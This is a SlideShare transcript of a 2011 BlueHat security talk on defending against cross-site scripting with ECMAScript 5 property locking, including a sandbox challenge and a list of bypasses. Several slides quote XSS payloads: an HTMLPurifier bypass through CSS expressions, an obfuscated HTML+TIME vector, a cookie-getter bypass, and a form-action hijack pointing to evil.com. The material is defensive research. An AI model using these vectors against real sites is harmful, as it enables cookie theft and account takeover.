Locking the Throneroom 2.0


Published on

Published in: Technology
1 Comment
No Downloads
Total views
On SlideShare
From Embeds
Number of Embeds
Embeds 0
No embeds

No notes for slide

Locking the Throneroom 2.0

  1. 1. Locking the Throne RoomHow ES5+ will change XSS and Client Side Security A presentation by Mario Heiderich BlueHat, Redmond 2011
  2. 2. Introduction Mario Heiderich  Researcher and PhD student at the Ruhr-University, Bochum  Security Researcher for SRLabs, Berlin  Security Researcher for Deutsche Post AG, Bonn  Published author and international speaker  HTML5 Security Cheatsheet / H5SC  PHPIDS Project  Twitter @0x6D6172696F
  3. 3. First of all... Buckle Up Take a deep breath A lot of content for a one hour talk Well be defeating XSS here
  4. 4. Todays menu JavaScript and the DOM Cross Site Scripting today  Current mitigation approaches  A peek into the petri dishes of current development A different approach  ES5 and XSS Some theory first And some horrific reality Future work
  5. 5. JavaScript and XSS Cross Site Scripting  One site scripting another  Early vectors abusing Iframes  First published attacks in the late nineties  Three four major variations  Reflected XSS  Persistent XSS  DOM based XSS / DOMXSS  Plug-in XSS  Information theft and modification  Impersonation and leverage of more complex attacks
  6. 6. XSS today An ancient and simple yet unsolved problem  Complexity  Browser bugs  Insecure web applications  Browser plug-ins  Impedance mismatches  Application layer mitigation concepts  New features and spec drafts enabling 0-day attacks XSS is a user agent problem! Nothing else!
  7. 7. Mitigation History Server side  Native runtime functions, strip_tags(), htmlentities(), etc.  Runtime libraries and request validation  External libraries filtering input and output  HTMLPurifier, AntiSamy, kses, AntiXSS, SafeHTML  HTTPOnly cookies Client side protection mechanisms  toStaticHTML() in IE8+ and NoScript  IE8+ XSS filter and Webkit XSS Auditor  Protective extensions such as NoScript, NotScripts  Upcoming approaches such as CSP
  8. 8. Reliability? We broke every single one of them Numerous times And we enjoyed it – as we will in the future
  9. 9. Impedance mismatch Layer A is unaware of Layer B capabilities and flaws  Layer A deploys the attack  Layer B executes the exploit Case study:  HTMLPurifier 4.1.1  Server side HTML filter and XSS mitigation library  Internet Explorer 8, CSS expressions and a parser bug  <a style="background:url(/,! @x:expression(write(1))//)!);"></a>
  10. 10. Ancient Goods HTML+TIME and behaviors 1;--<?f><l ₩ :!!:x /style=`b\65h0061vIor/ĸ :url(#def&#x61ult#time2)ö/;` ₩ /onbegin= &#x5bµ=u0061le&#114t&#40&#x31)&#x5d&# x2f/&#xyŧ>  http://html5sec.org/what?
  11. 11. Further vectors Plug-in based XSS  Adobe Reader  Java applets  Flash player  Quicktime videos  SVG images Charset injection and content sniffing  UTF-7 XSS, EBCDIC, MacFarsi, XSS via images  Chameleon files, cross context scripting, local XSS DOMXSS
  12. 12. Quintessence Server side filtering of client side attacks  Useful and stable for basic XSS protection Still not remotely sufficient  Affected by charsets, impedance mismatches  Subverted by browser bugs an parser errors  Rendered useless by DOMXSS  Bypassed via plug-in based XSS  Helpless against attacks deployed from different servers  Not suitable for what XSS has become The server cannot serve protection for the client And - where will the classic server be in five years?
  13. 13. Revisiting XSS XSS attacks target the client XSS attacks are being executed client side XSS attacks aim for client side data and control XSS attacks impersonate the user XSS is a client side problem  Sometimes caused by server side vulnerabilities  Sometimes caused by a wide range of problems transparent for the server Still we try to improve server side XSS filters
  14. 14. Idea Prevention against XSS in the DOM Capability based DOM security Inspired by HTTPOnly  Cookies cannot be read by scripts anymore  Why not changing document.cookie to do so JavaScript up to 1.8.5 enabled this Unfortunately Non-Standard Example →
  15. 15. __defineGetter__()<script>document.__defineGetter__(cookie, function(){ alert(no cookie access!); return false;});</script>…<script> alert(document.cookie)</script>
  16. 16. Problems Proprietary And not tamper resistant at all  JavaScript supplies a delete operator  Delete operations on DOM properties reset their state  Getter definitions can simply be overwritten Object getters - invalid for DOM protection purposes Same for setters and overwritten methods
  17. 17. Bypass<script>document.__defineGetter__(cookie, function(){ alert(no cookie access!); return false;});</script>…<script> delete document.cookie; alert(document.cookie)</script>
  18. 18. Tamper Resistance First attempts down the prototype chain  document.__proto__.__defineGetter__()  Document.prototype Attempts to register delete event handlers  Getter and setter definitions for the prototypes  Setter protection for setters  Recursion problems  Interval based workarounds and race conditions JavaScript 1.8 unsuitable for DOM based XSS protection
  19. 19. ECMA Script 5 Older user agents use JavaScript based on ES3  Firefox 3  Internet Explorer 8  Opera 11 The modern ones already ship ES5 compliance  Google Chrome  Safari 5+  Firefox 4+  Internet Explorer 9 and 10pp3
  20. 20. Object Extensions Many novelties in ECMA Script 5 Relevance for client side XSS mitigation  Object extensions such as  Object.freeze() and Object.seal()  Object.getOwnPropertyNames() - a lovely method!  Object.defineProperty() / Object.defineProperties()  Object.preventExtensions()  Less relevant but still interesting  Proxy Objects, useless since no host objects allowed...  More meta-programming APIs  Combinations with DOM Level 3 events
  21. 21. ({}).defineProperty() Object.defineProperty() and ..Properties() Three parameters  Parent object  Child object to define  Descriptor literal Descriptors allow to manipulate  Get / Set behavior  Value  “Enumerability”  “Writeability”  “Configurability” Example →
  22. 22. Example<script>Object.defineProperty(document, cookie, { get: function(){return:false}, set: function(){return:false}, configurable:false});</script>…<script> delete document.cookie; alert(document.cookie);</script>
  23. 23. configurable:false Setting “configurability” to false is final  The object description is stronger than delete  Prototype deletion has to effect  Re-definition is not possible With this method call cookie access can be forbidden  By the developer  And by the attacker
  24. 24. Prohibition Regulating access in general  Interesting to prevent cookie theft  Other properties can be blocked too  Method access and calls can be forbidden  Methods can be changed completely  Horizontal log can be added to any call, access and event That is for existing HTML elements as well Example →
  25. 25. Action Protection<script>var form = document.getElementById(form);Object.defineProperty(form, action, { set: IDS_detectHijacking, get: IDS_detectStealing, configurable:false});</script>…<script> document.forms[0].action=//evil.com;</script>
  26. 26. First Roundup Access prohibition might be effective Value and argument logging helps detecting attacks Possible IDS solutions are not affected by heavy string obfuscation No impedance mismatches  Attacks are detected on they layer they target  Parser errors do not have effect here  No effective charset obfuscations  Immune against plug-in-deployed scripting attacks  Automatic quasi-normalization Its a blacklist though
  27. 27. Going Further No access prohibitions but RBAC via JavaScript Possible simplified protocol  Let object A know about permitted accessors  Let accessors of object A be checked by the getter/setter  Let object A react depending on access validity  Seal object A  Execute application logic  Strict policy based approach A shared secret between could strengthen the policy Example →
  28. 28. RBAC and IDS<script>Object.defineProperty(document, cookie, { set:RBAC_checkSetter(IDS_checkArguments()), get:RBAC_checkGetter(IDS_checkArguments()) configurable:false});// identified via arguments.callee.callerMy.allowedMethod(document.cookie);</script>…<script> alert(document.cookie)</script>
  29. 29. Forced Introspection Existing properties can gain capabilities  The added setter will know:  Who attempts to set  What value is being used  The added getter will know:  Who attempts to get  An overwritten function will know:  How the original function looked like  Who calls the function  What arguments are being used IDS and RBAC are possible Tamper resistance thanks to configurable:false
  30. 30. Case Study I Stanford JavaScript Crypto Library AES256, SHA256, HMAC and more in JavaScript „SJCL is secure“ Not true from an XSS perspective Global variables Uses  Math.floor(), Math.max(), Math.random()  document.attachEvent(), native string methods etc.  Any of which can be attacker controlled High impact vulnerabilities ahead...
  31. 31. Case Study II BeEF – Browser Exploitation Framework As seen some minutes ago ☺ Uses global variables  window.beef = BeefJS; Attacker could seal it with Object.defineProperty()  Else the defender could “counterbeef” it  BeEF XSS = Exploiting the exploiter  Maybe a malformed UA string? Or host address?
  32. 32. Deployment Website owners should obey a new rule „The order of deployment is everything“ As long as trusted content is being deployed first  Object.defineProperty() can protect  Sealing can be used for good The script deploying first controls the DOM  Persistent, tamper resistant and transparent Self-defense is possible Example →
  33. 33. !defineProperty()<html><head><script>…Object.defineProperty(Object, defineProperty { value:[], configurable:false});</script>…<script> Object.defineProperty(window,secret, { get:stealInfo }); // TypeError</script>
  34. 34. Reflection Where are we now with ES5?  Pro:  We can fully restrict property and method access  We have the foundation for a client side IDS and RBAC  We can regulate Object access, extension and modification  CSP and sand-boxed Iframes support this approach  Contra:  Its a blacklist  Magic properties cause problems  We need to prevent creation of a fresh DOM  Right now the DOM sucks! Still we can approach XSS w/o any obfuscation
  35. 35. But now... Enough with the theory already!
  36. 36. Experimentation Publish a totally XSS-able website  1st step: Attribute injections  2nd step: Full HTML injections, implemented as crappily as possible  No server filter at all Protect it with JavaScript only Block access to document.cookie Implement a safe getter Announce a challenge to break it  Break→Score→Await Fix→Break→Score again  Tough challenge→Evolutionary Result-Set→Extra Learning
  37. 37. Code Exampledocument.cookie = 123456-secret-123456;(function(){ var i,j,x,y; var c = document.cookie; var o = Object.defineProperty; document.cookie=null; o(MouseEvent.prototype, isTrusted, {configurable:false}); o(document, cookie, {get:function()arguments.callee.caller===Safe.get ? c : null}); x=Object.getOwnPropertyNames(window),x.push(HTMLHeadElement); for(i in x) { if(/^HTML/.test(x[i])) { for(j in y=[innerHTML, textContent, text]) { o(window[x[i]].prototype, y[j], {get: function() null}) } } } for(i in x=[wholeText, nodeValue, data, text, textContent]) { o(Text.prototype, x[i], {get: function() null}) }})();
  38. 38. A Safe Getter?var Safe = {};Safe.get = function() { var e = arguments.callee.caller; if(e && e.arguments[0].type === click && e.arguments[0].isTrusted === true) { return document.cookie } return null;};Object.freeze(Safe); Make sure its a click Make really sure its a click Make really sure its a real click Look good, right?
  39. 39. Result
  40. 40. Evaluation by Penetration Turns out its been all rubbish Code was broken 52 times  Spoofing “real” clicks  Overwriting frozen properties  Using Iframes and data URIs  Using XHR from within JavaScript and data URIs  Finding leaking DOM properties  Cloning content into textarea and reading the value  Heres a full list Code was fixed successfully 52 times  Remainder of an overall of zero “unfixable” bypasses?  Well – almost. And depending on the user agent.  IE? Yes sir! Firefox? Yes - kinda. Rest? Nope
  41. 41. Current State XSSMe¹ still online  http://html5sec.org/xssme XSSMe² as well  http://xssme.htm5sec.org/ You are welcome to break it ~14.000 attempts to break it so far  52 succeeded,  52 were ultimately fixed! Thanks plaintext and createHTMLDocument() XSSMe³ / JSLR is available right now!  http://www.businessinfo.co.uk/labs/jslr/jslr.php  Hat-tips to Gareth Heyes  ~8.000 attempts to break it – of which 15 succeeded (so far) and 14 were fixed And hopefully there is more to come
  42. 42. Hows it done? XSSMe²  Object.getOwnPropertyNames(window).concat( Object.getOwnPropertyNames(Window.prototype))  document.write(<plaintext id=__doc>)  document.implementation.createHTMLDocument() JSLR/XSSMe³  All of the above  Apply a random ID to any legitimate element  Check against its existence  Wrap JavaScript code in identifier blocks  High security mode – server supported though Please, please try to break it!
  43. 43. So? Client-side, JavaScript only XSS protection is possible Is it elegant right now? Noope Does it work on all modern browsers? Almost! IE and FF doing great Is it feasible? Yes – but fragile More fragile than protection allotted over n layers? Noope What remains to be done? A small wish-list for the browser vendors! A possibility to make it work elegantly
  44. 44. Future Work I We need to fix the DOM  Consistency please  Higher prio for DOM bugs – they will be security bugs anyway soon! Specify a white-list based approach Fix and refine event handling and DOM properties  DOMFrameContentLoaded  Maybe DOMBeforeSubtreeModified?  Maybe DOMBeforeInsertNode? The DOM needs more “trustability” Monitor and contribute to ES6 and ES7 We need DOM Proxies!
  45. 45. Future Work II Talk to W3C people  DOM Sandboxing kinda works – but thats about it  Introduce the features we need to make it elegant Specify DOMInit, support its implementation Specify Object.intercept()  White-list based DOM access and caller interception  Details available soon. Or after a beer or two And finally? Please lets fix the Java Plugin! Really!  This is sheer horror and breaks everything  Anyone here from Oracle we could talk to?
  46. 46. Conclusion XSS remains undefeated - but lotsa steps forwards were made RIAs gain complexity and power, WDP and Win8 Client-agnostic server side filters designed to fail Time for a new approach Still a lot of work to be done Client-side XSS protection and more is possible  Just not the most elegant  Still – compare 70 lines of JS to 12091 lines of PHP Lets get it done already Hard? Yes. No one said itd be easy :)
  47. 47. Questions Thanks for your time! Discussion? Thanks for advice and contribution:  G. Heyes, S. Di Paola, E. A. Vela Nava  R. Shafigullin, J. Tyson, M. Kinugawa, N. Hippert, M. Nison, K. Kotowicz  D. Ross and M. Caballero  J. Wilander and M. Bergling  J. Magazinius, Phung et al.  All unmentioned contributors